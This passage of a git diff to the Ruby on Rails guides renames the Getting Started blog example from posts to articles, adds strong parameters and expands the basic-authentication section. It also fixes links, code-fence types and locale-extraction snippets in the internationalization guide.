-Once we have made the new comment, we send the user back to the original post
-using the `post_path(@post)` helper. As we have already seen, this calls the
-`show` action of the `PostsController` which in turn renders the `show.html.erb`
-template. This is where we want the comment to show, so let's add that to the
-`app/views/posts/show.html.erb`.
+Once we have made the new comment, we send the user back to the original article
+using the `article_path(@article)` helper. As we have already seen, this calls
+the `show` action of the `ArticlesController` which in turn renders the
+`show.html.erb` template. This is where we want the comment to show, so let's
+add that to the `app/views/articles/show.html.erb`.
```html+erb
<p>
<strong>Title:</strong>
- <%= @post.title %>
+ <%= @article.title %>
</p>
<p>
<strong>Text:</strong>
- <%= @post.text %>
+ <%= @article.text %>
</p>
<h2>Comments</h2>
-<% @post.comments.each do |comment| %>
+<% @article.comments.each do |comment| %>
<p>
<strong>Commenter:</strong>
<%= comment.commenter %>
@@ -1434,13 +1740,13 @@ template. This is where we want the comment to show, so let's add that to the
<% end %>
<h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
+<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
- <%= f.label :commenter %><br />
+ <%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
- <%= f.label :body %><br />
+ <%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
@@ -1448,26 +1754,26 @@ template. This is where we want the comment to show, so let's add that to the
</p>
<% end %>
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
+<%= link_to 'Edit Article', edit_article_path(@article) %> |
+<%= link_to 'Back to Articles', articles_path %>
```
-Now you can add posts and comments to your blog and have them show up in the
+Now you can add articles and comments to your blog and have them show up in the
right places.
-![Post with Comments](images/getting_started/post_with_comments.png)
+![Article with Comments](images/getting_started/article_with_comments.png)
Refactoring
-----------
-Now that we have posts and comments working, take a look at the
-`app/views/posts/show.html.erb` template. It is getting long and awkward. We can
-use partials to clean it up.
+Now that we have articles and comments working, take a look at the
+`app/views/articles/show.html.erb` template. It is getting long and awkward. We
+can use partials to clean it up.
### Rendering Partial Collections
-First, we will make a comment partial to extract showing all the comments for the
-post. Create the file `app/views/comments/_comment.html.erb` and put the
+First, we will make a comment partial to extract showing all the comments for
+the article. Create the file `app/views/comments/_comment.html.erb` and put the
following into it:
```html+erb
@@ -1482,31 +1788,31 @@ following into it:
</p>
```
-Then you can change `app/views/posts/show.html.erb` to look like the
+Then you can change `app/views/articles/show.html.erb` to look like the
following:
```html+erb
<p>
<strong>Title:</strong>
- <%= @post.title %>
+ <%= @article.title %>
</p>
<p>
<strong>Text:</strong>
- <%= @post.text %>
+ <%= @article.text %>
</p>
<h2>Comments</h2>
-<%= render @post.comments %>
+<%= render @article.comments %>
<h2>Add a comment:</h2>
-<%= form_for([@post, @post.comments.build]) do |f| %>
+<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
- <%= f.label :commenter %><br />
+ <%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
- <%= f.label :body %><br />
+ <%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
@@ -1514,13 +1820,13 @@ following:
</p>
<% end %>
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
+<%= link_to 'Edit Article', edit_article_path(@article) %> |
+<%= link_to 'Back to Articles', articles_path %>
```
This will now render the partial in `app/views/comments/_comment.html.erb` once
-for each comment that is in the `@post.comments` collection. As the `render`
-method iterates over the `@post.comments` collection, it assigns each
+for each comment that is in the `@article.comments` collection. As the `render`
+method iterates over the `@article.comments` collection, it assigns each
comment to a local variable named the same as the partial, in this case
`comment` which is then available in the partial for us to show.
@@ -1530,13 +1836,13 @@ Let us also move that new comment section out to its own partial. Again, you
create a file `app/views/comments/_form.html.erb` containing:
```html+erb
-<%= form_for([@post, @post.comments.build]) do |f| %>
+<%= form_for([@article, @article.comments.build]) do |f| %>
<p>
- <%= f.label :commenter %><br />
+ <%= f.label :commenter %><br>
<%= f.text_field :commenter %>
</p>
<p>
- <%= f.label :body %><br />
+ <%= f.label :body %><br>
<%= f.text_area :body %>
</p>
<p>
@@ -1545,24 +1851,27 @@ create a file `app/views/comments/_form.html.erb` containing:
<% end %>
```
-Then you make the `app/views/posts/show.html.erb` look like the following:
+Then you make the `app/views/articles/show.html.erb` look like the following:
```html+erb
<p>
<strong>Title:</strong>
- <%= @post.title %>
+ <%= @article.title %>
</p>
<p>
<strong>Text:</strong>
- <%= @post.text %>
+ <%= @article.text %>
</p>
+<h2>Comments</h2>
+<%= render @article.comments %>
+
<h2>Add a comment:</h2>
-<%= render "comments/form" %>
+<%= render 'comments/form' %>
-<%= link_to 'Edit Post', edit_post_path(@post) %> |
-<%= link_to 'Back to Posts', posts_path %>
+<%= link_to 'Edit Article', edit_article_path(@article) %> |
+<%= link_to 'Back to Articles', articles_path %>
```
The second render just defines the partial template we want to render,
@@ -1570,15 +1879,15 @@ The second render just defines the partial template we want to render,
string and realize that you want to render the `_form.html.erb` file in
the `app/views/comments` directory.
-The `@post` object is available to any partials rendered in the view because we
-defined it as an instance variable.
+The `@article` object is available to any partials rendered in the view because
+we defined it as an instance variable.
Deleting Comments
-----------------
Another important feature of a blog is being able to delete spam comments. To do
-this, we need to implement a link of some sort in the view and a `DELETE` action
-in the `CommentsController`.
+this, we need to implement a link of some sort in the view and a `destroy`
+action in the `CommentsController`.
So first, let's add the delete link in the
`app/views/comments/_comment.html.erb` partial:
@@ -1595,88 +1904,93 @@ So first, let's add the delete link in the
</p>
<p>
- <%= link_to 'Destroy Comment', [comment.post, comment],
+ <%= link_to 'Destroy Comment', [comment.article, comment],
method: :delete,
data: { confirm: 'Are you sure?' } %>
</p>
```
Clicking this new "Destroy Comment" link will fire off a `DELETE
-/posts/:post_id/comments/:id` to our `CommentsController`, which can then use
-this to find the comment we want to delete, so let's add a destroy action to our
-controller (`app/controllers/comments_controller.rb`):
+/articles/:article_id/comments/:id` to our `CommentsController`, which can then
+use this to find the comment we want to delete, so let's add a `destroy` action
+to our controller (`app/controllers/comments_controller.rb`):
```ruby
class CommentsController < ApplicationController
-
def create
- @post = Post.find(params[:post_id])
- @comment = @post.comments.create(params[:comment])
- redirect_to post_path(@post)
+ @article = Article.find(params[:article_id])
+ @comment = @article.comments.create(comment_params)
+ redirect_to article_path(@article)
end
def destroy
- @post = Post.find(params[:post_id])
- @comment = @post.comments.find(params[:id])
+ @article = Article.find(params[:article_id])
+ @comment = @article.comments.find(params[:id])
@comment.destroy
- redirect_to post_path(@post)
+ redirect_to article_path(@article)
end
+ private
+ def comment_params
+ params.require(:comment).permit(:commenter, :body)
+ end
end
```
-The `destroy` action will find the post we are looking at, locate the comment
-within the `@post.comments` collection, and then remove it from the
-database and send us back to the show action for the post.
+The `destroy` action will find the article we are looking at, locate the comment
+within the `@article.comments` collection, and then remove it from the
+database and send us back to the show action for the article.
### Deleting Associated Objects
-If you delete a post then its associated comments will also need to be deleted.
-Otherwise they would simply occupy space in the database. Rails allows you to
-use the `dependent` option of an association to achieve this. Modify the Post
-model, `app/models/post.rb`, as follows:
+If you delete an article, its associated comments will also need to be
+deleted, otherwise they would simply occupy space in the database. Rails allows
+you to use the `dependent` option of an association to achieve this. Modify the
+Article model, `app/models/article.rb`, as follows:
```ruby
-class Post < ActiveRecord::Base
+class Article < ActiveRecord::Base
has_many :comments, dependent: :destroy
validates :title, presence: true,
length: { minimum: 5 }
- [...]
end
```
Security
--------
-If you were to publish your blog online, anybody would be able to add, edit and
-delete posts or delete comments.
+### Basic Authentication
+
+If you were to publish your blog online, anyone would be able to add, edit and
+delete articles or delete comments.
Rails provides a very simple HTTP authentication system that will work nicely in
this situation.
-In the `PostsController` we need to have a way to block access to the various
-actions if the person is not authenticated, here we can use the Rails
-`http_basic_authenticate_with` method, allowing access to the requested
+In the `ArticlesController` we need to have a way to block access to the
+various actions if the person is not authenticated. Here we can use the Rails
+`http_basic_authenticate_with` method, which allows access to the requested
action if that method allows it.
To use the authentication system, we specify it at the top of our
-`PostsController`, in this case, we want the user to be authenticated on every
-action, except for `index` and `show`, so we write that in `app/controllers/posts_controller.rb`:
+`ArticlesController` in `app/controllers/articles_controller.rb`. In our case,
+we want the user to be authenticated on every action except `index` and `show`,
+so we write that:
```ruby
-class PostsController < ApplicationController
+class ArticlesController < ApplicationController
http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
def index
- @posts = Post.all
+ @articles = Article.all
end
# snipped for brevity
```
-We also only want to allow authenticated users to delete comments, so in the
+We also want to allow only authenticated users to delete comments, so in the
`CommentsController` (`app/controllers/comments_controller.rb`) we write:
```ruby
@@ -1685,16 +1999,31 @@ class CommentsController < ApplicationController
http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
def create
- @post = Post.find(params[:post_id])
- ...
+ @article = Article.find(params[:article_id])
+ # ...
end
+
# snipped for brevity
```
-Now if you try to create a new post, you will be greeted with a basic HTTP
-Authentication challenge
+Now if you try to create a new article, you will be greeted with a basic HTTP
+Authentication challenge:
+
+![Basic HTTP Authentication Challenge](images/getting_started/challenge.png)
+
+Other authentication methods are available for Rails applications. Two popular
+authentication add-ons for Rails are the
+[Devise](https://github.com/plataformatec/devise) rails engine and
+the [Authlogic](https://github.com/binarylogic/authlogic) gem,
+along with a number of others.
+
+
+### Other Security Considerations
+
+Security, especially in web applications, is a broad and detailed area. Security
+in your Rails application is covered in more depth in
+the [Ruby on Rails Security Guide](security.html).
-![Basic HTTP Authentication Challenge](images/challenge.png)
What's Next?
------------
@@ -1704,17 +2033,24 @@ update it and experiment on your own. But you don't have to do everything
without help. As you need assistance getting up and running with Rails, feel
free to consult these support resources:
-* The [Ruby on Rails guides](index.html)
+* The [Ruby on Rails Guides](index.html)
* The [Ruby on Rails Tutorial](http://railstutorial.org/book)
* The [Ruby on Rails mailing list](http://groups.google.com/group/rubyonrails-talk)
* The [#rubyonrails](irc://irc.freenode.net/#rubyonrails) channel on irc.freenode.net
-Rails also comes with built-in help that you can generate using the rake command-line utility:
+Rails also comes with built-in help that you can generate using the rake
+command-line utility:
-* Running `rake doc:guides` will put a full copy of the Rails Guides in the `doc/guides` folder of your application. Open `doc/guides/index.html` in your web browser to explore the Guides.
-* Running `rake doc:rails` will put a full copy of the API documentation for Rails in the `doc/api` folder of your application. Open `doc/api/index.html` in your web browser to explore the API documentation.
+* Running `rake doc:guides` will put a full copy of the Rails Guides in the
+ `doc/guides` folder of your application. Open `doc/guides/index.html` in your
+ web browser to explore the Guides.
+* Running `rake doc:rails` will put a full copy of the API documentation for
+ Rails in the `doc/api` folder of your application. Open `doc/api/index.html`
+ in your web browser to explore the API documentation.
-TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake task you need to install the RedCloth gem. Add it to your `Gemfile` and run `bundle install` and you're ready to go.
+TIP: To be able to generate the Rails Guides locally with the `doc:guides` rake
+task you need to install the RedCloth and Nokogiri gems. Add it to your `Gemfile` and run
+`bundle install` and you're ready to go.
Configuration Gotchas
---------------------
@@ -1734,15 +2070,16 @@ cannot be automatically detected by Rails and corrected.
Two very common sources of data that are not UTF-8:
-* Your text editor: Most text editors (such as Textmate), default to saving files as
- UTF-8. If your text editor does not, this can result in special characters that you
- enter in your templates (such as é) to appear as a diamond with a question mark inside
- in the browser. This also applies to your i18n translation files.
- Most editors that do not already default to UTF-8 (such as some versions of
- Dreamweaver) offer a way to change the default to UTF-8. Do so.
-* Your database. Rails defaults to converting data from your database into UTF-8 at
- the boundary. However, if your database is not using UTF-8 internally, it may not
- be able to store all characters that your users enter. For instance, if your database
- is using Latin-1 internally, and your user enters a Russian, Hebrew, or Japanese
- character, the data will be lost forever once it enters the database. If possible,
- use UTF-8 as the internal storage of your database.
+* Your text editor: Most text editors (such as TextMate), default to saving
+ files as UTF-8. If your text editor does not, this can result in special
+ characters that you enter in your templates (such as é) to appear as a diamond
+ with a question mark inside in the browser. This also applies to your i18n
+ translation files. Most editors that do not already default to UTF-8 (such as
+ some versions of Dreamweaver) offer a way to change the default to UTF-8. Do
+ so.
+* Your database: Rails defaults to converting data from your database into UTF-8
+ at the boundary. However, if your database is not using UTF-8 internally, it
+ may not be able to store all characters that your users enter. For instance,
+ if your database is using Latin-1 internally, and your user enters a Russian,
+ Hebrew, or Japanese character, the data will be lost forever once it enters
+ the database. If possible, use UTF-8 as the internal storage of your database.
diff --git a/guides/source/i18n.md b/guides/source/i18n.md
index 399a4963d7..75b5275245 100644
--- a/guides/source/i18n.md
+++ b/guides/source/i18n.md
@@ -13,17 +13,22 @@ So, in the process of _internationalizing_ your Rails application you have to:
In the process of _localizing_ your application you'll probably want to do the following three things:
-* Replace or supplement Rails' default locale — e.g. date and time formats, month names, Active Record model names, etc.
-* Abstract strings in your application into keyed dictionaries — e.g. flash messages, static text in your views, etc.
+* Replace or supplement Rails' default locale - e.g. date and time formats, month names, Active Record model names, etc.
+* Abstract strings in your application into keyed dictionaries - e.g. flash messages, static text in your views, etc.
* Store the resulting dictionaries somewhere.
This guide will walk you through the I18n API and contains a tutorial on how to internationalize a Rails application from the start.
After reading this guide, you will know:
+* How I18n works in Ruby on Rails
+* How to correctly use I18n into a RESTful application in various ways
+* How to use I18n to translate ActiveRecord errors or ActionMailer E-mail subjects
+* Some other tools to go further with the translation process of your application
+
--------------------------------------------------------------------------------
-NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, however, use any of various plugins and extensions available, which add additional functionality or features. See the Rails [I18n Wiki](http://rails-i18n.org/wiki) for more information.
+NOTE: The Ruby I18n framework provides you with all necessary means for internationalization/localization of your Rails application. You may, also use various gems available to add additional functionality or features. See the [rails-i18n gem](https://github.com/svenfuchs/rails-i18n) for more information.
How I18n in Ruby on Rails Works
-------------------------------
@@ -33,13 +38,13 @@ Internationalization is a complex problem. Natural languages differ in so many w
* providing support for English and similar languages out of the box
* making it easy to customize and extend everything for other languages
-As part of this solution, **every static string in the Rails framework** — e.g. Active Record validation messages, time and date formats — **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults.
+As part of this solution, **every static string in the Rails framework** - e.g. Active Record validation messages, time and date formats - **has been internationalized**, so _localization_ of a Rails application means "over-riding" these defaults.
### The Overall Architecture of the Library
Thus, the Ruby I18n gem is split into two parts:
-* The public API of the i18n framework — a Ruby module with public methods that define how the library works
+* The public API of the i18n framework - a Ruby module with public methods that define how the library works
* A default backend (which is intentionally named _Simple_ backend) that implements these methods
As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
@@ -87,22 +92,22 @@ Rails adds all `.rb` and `.yml` files from the `config/locales` directory to you
The default `en.yml` locale in this directory contains a sample pair of translation strings:
-```ruby
+```yaml
en:
hello: "Hello world"
```
-This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Record validation messages in the [`activerecord/lib/active_record/locale/en.yml`](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
+This means, that in the `:en` locale, the key _hello_ will map to the _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance Active Model validation messages in the [`activemodel/lib/active_model/locale/en.yml`](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml) file or time and date formats in the [`activesupport/lib/active_support/locale/en.yml`](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml) file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
The I18n library will use **English** as a **default locale**, i.e. if you don't set a different locale, `:en` will be used for looking up translations.
-NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Various [Rails I18n plugins](http://rails-i18n.org/wiki) such as [Globalize2](https://github.com/joshmh/globalize2/tree/master) may help you implement it.
+NOTE: The i18n library takes a **pragmatic approach** to locale keys (after [some discussion](http://groups.google.com/group/rails-i18n/browse_thread/thread/14dede2c7dbe9470/80eec34395f64f3c?hl=en)), including only the _locale_ ("language") part, like `:en`, `:pl`, not the _region_ part, like `:en-US` or `:en-GB`, which are traditionally used for separating "languages" and "regional setting" or "dialects". Many international applications use only the "language" element of a locale such as `:cs`, `:th` or `:es` (for Czech, Thai and Spanish). However, there are also regional differences within different language groups that may be important. For instance, in the `:en-US` locale you would have $ as a currency symbol, while in `:en-GB`, you would have £. Nothing stops you from separating regional and other settings in this way: you just have to provide full "English - United Kingdom" locale in a `:en-GB` dictionary. Few gems such as [Globalize3](https://github.com/globalize/globalize) may help you implement it.
The **translations load path** (`I18n.load_path`) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
-The default initializer `locale.rb` file has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
+The default `application.rb` file has instructions on how to add locales from another directory and how to set a different default locale. Just uncomment and edit the specific lines.
```ruby
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
@@ -132,7 +137,7 @@ If you want to translate your Rails application to a **single language other tha
However, you would probably like to **provide support for more locales** in your application. In such case, you need to set and pass the locale between requests.
-WARNING: You may be tempted to store the chosen locale in a _session_ or a <em>cookie</em>, however **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [<em>RESTful</em>](http://en.wikipedia.org/wiki/Representational_State_Transfer. Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
+WARNING: You may be tempted to store the chosen locale in a _session_ or a *cookie*. However, **do not do this**. The locale should be transparent and a part of the URL. This way you won't break people's basic assumptions about the web itself: if you send a URL to a friend, they should see the same page and content as you. A fancy word for this would be that you're being [*RESTful*](http://en.wikipedia.org/wiki/Representational_State_Transfer). Read more about the RESTful approach in [Stefan Tilkov's articles](http://www.infoq.com/articles/rest-introduction). Sometimes there are exceptions to this rule and those are discussed below.
The _setting part_ is easy. You can set the locale in a `before_action` in the `ApplicationController` like this:
@@ -174,7 +179,7 @@ end
# in your /etc/hosts file to try this out locally
def extract_locale_from_tld
parsed_locale = request.host.split('.').last
- I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
+ I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
end
```
@@ -187,7 +192,7 @@ We can also set the locale from the _subdomain_ in a very similar way:
# in your /etc/hosts file to try this out locally
def extract_locale_from_subdomain
parsed_locale = request.subdomains.first
- I18n.available_locales.include?(parsed_locale.to_sym) ? parsed_locale : nil
+ I18n.available_locales.map(&:to_s).include?(parsed_locale) ? parsed_locale : nil
end
```
@@ -207,17 +212,16 @@ The most usual way of setting (and passing) the locale would be to include it in
This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though.
-Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL (e.g. `link_to( books_url(locale: I18n.locale))`) would be tedious and probably impossible, of course.
+Getting the locale from `params` and setting it accordingly is not hard; including it in every URL and thus **passing it through the requests** is. To include an explicit option in every URL, e.g. `link_to(books_url(locale: I18n.locale))`, would be tedious and probably impossible, of course.
-Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionController/Base.html#M000503) and helper methods dependent on it (by implementing/overriding this method).
+Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its [`ApplicationController#default_url_options`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/Mapper/Base.html#method-i-default_url_options), which is useful precisely in this scenario: it enables us to set "defaults" for [`url_for`](http://api.rubyonrails.org/classes/ActionDispatch/Routing/UrlFor.html#method-i-url_for) and helper methods dependent on it (by implementing/overriding this method).
We can include something like this in our `ApplicationController` then:
```ruby
# app/controllers/application_controller.rb
-def default_url_options(options={})
- logger.debug "default_url_options is passed options: #{options.inspect}\n"
- { locale: I18n.locale }
+def default_url_options(options = {})
+ { locale: I18n.locale }.merge options
end
```
@@ -253,16 +257,16 @@ You would probably need to map URLs like these:
```ruby
# config/routes.rb
-match '/:locale' => 'dashboard#index'
+get '/:locale' => 'dashboard#index'
```
Do take special care about the **order of your routes**, so this route declaration does not "eat" other ones. (You may want to add it directly before the `root :to` declaration.)
-NOTE: Have a look at two plugins which simplify work with routes in this way: Sven Fuchs's [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's [translate_routes](https://github.com/raul/translate_routes/tree/master).
+NOTE: Have a look at various gems which simplify working with routes: [routing_filter](https://github.com/svenfuchs/routing-filter/tree/master), [rails-translate-routes](https://github.com/francesc/rails-translate-routes), [route_translator](https://github.com/enriclluelles/route_translator).
### Setting the Locale from the Client Supplied Information
-In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites — see the box about _sessions_, _cookies_ and RESTful architecture above.
+In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' preferred language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites - see the box about _sessions_, _cookies_ and RESTful architecture above.
#### Using `Accept-Language`
@@ -277,21 +281,22 @@ def set_locale
I18n.locale = extract_locale_from_accept_language_header
logger.debug "* Locale set to '#{I18n.locale}'"
end
+
private
-def extract_locale_from_accept_language_header
- request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
-end
+ def extract_locale_from_accept_language_header
+ request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first
+ end
```
-Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
+Of course, in a production environment you would need much more robust code, and could use a gem such as Iain Hecker's [http_accept_language](https://github.com/iain/http_accept_language/tree/master) or even Rack middleware such as Ryan Tomayko's [locale](https://github.com/rack/rack-contrib/blob/master/lib/rack/contrib/locale.rb).
#### Using GeoIP (or Similar) Database
-Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above — you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
+Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as [GeoIP Lite Country](http://www.maxmind.com/app/geolitecountry). The mechanics of the code would be very similar to the code above - you would need to query the database for the user's IP, and look up your preferred locale for the country/region/city returned.
#### User Profile
-You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above — you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
+You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above - you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value.
Internationalizing your Application
-----------------------------------
@@ -304,12 +309,23 @@ You most probably have something like this in one of your applications:
```ruby
# config/routes.rb
-Yourapp::Application.routes.draw do
+Rails.application.routes.draw do
root to: "home#index"
end
```
```ruby
+# app/controllers/application_controller.rb
+class ApplicationController < ActionController::Base
+ before_action :set_locale
+
+ def set_locale
+ I18n.locale = params[:locale] || I18n.default_locale
+ end
+end
+```
+
+```ruby
# app/controllers/home_controller.rb
class HomeController < ApplicationController
def index
@@ -353,7 +369,7 @@ NOTE: Rails adds a `t` (`translate`) helper method to your views so that you do
So let's add the missing translations into the dictionary files (i.e. do the "localization" part):
-```ruby
+```yaml
# config/locales/en.yml
en:
hello_world: Hello world!
@@ -394,7 +410,7 @@ en:
### Adding Date/Time Formats
-OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option — by default the `:default` format is used.
+OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option - by default the `:default` format is used.
```erb
# app/views/home/index.html.erb
@@ -405,7 +421,7 @@ OK! Now let's add a timestamp to the view, so we can demo the **date/time locali
And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
-```ruby
+```yaml
# config/locales/pirate.yml
pirate:
time:
@@ -417,15 +433,15 @@ So that would give you:
![rails i18n demo localized time to pirate](images/i18n/demo_localized_pirate.png)
-TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at Github](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use.
+TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at GitHub](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use.
### Inflection Rules For Other Locales
-Rails 4.0 allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.
+Rails allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit.
### Localized Views
-Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in `public`, etc.)
+Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in `public`, etc.)
You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them.
@@ -468,19 +484,19 @@ NOTE: The default locale loading mechanism in Rails does not load locale files i
```
-Do check the [Rails i18n Wiki](http://rails-i18n.org/wiki) for list of tools available for managing translations.
-
Overview of the I18n API Features
---------------------------------
You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth.
+These chapters will show examples using both the `I18n.translate` method as well as the [`translate` view helper method](http://api.rubyonrails.org/classes/ActionView/Helpers/TranslationHelper.html#method-i-translate) (noting the additional feature provide by the view helper method).
+
Covered are features like these:
* looking up translations
* interpolating data into translations
* pluralizing translations
-* using safe HTML translations
+* using safe HTML translations (view helper method only)
* localizing dates, numbers, currency, etc.
### Looking up Translations
@@ -494,7 +510,7 @@ I18n.t :message
I18n.t 'message'
```
-The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a “namespace†or scope for a translation key:
+The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a "namespace" or scope for a translation key:
```ruby
I18n.t :record_invalid, scope: [:activerecord, :errors, :messages]
@@ -568,6 +584,8 @@ you can look up the `books.index.title` value **inside** `app/views/books/index.
<%= t '.title' %>
```
+NOTE: Automatic translation scoping by partial is only available from the `translate` view helper method.
+
### Interpolation
In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature.
@@ -608,7 +626,7 @@ entry[count == 1 ? 0 : 1]
I.e. the translation denoted as `:one` is regarded as singular, the other is used as plural (including the count being zero).
-If the lookup for the key does not return a Hash suitable for pluralization, an `18n::InvalidPluralizationData` exception is raised.
+If the lookup for the key does not return a Hash suitable for pluralization, an `I18n::InvalidPluralizationData` exception is raised.
### Setting and Passing a Locale
@@ -637,7 +655,7 @@ I18n.default_locale = :de
### Using Safe HTML Translations
-Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping.
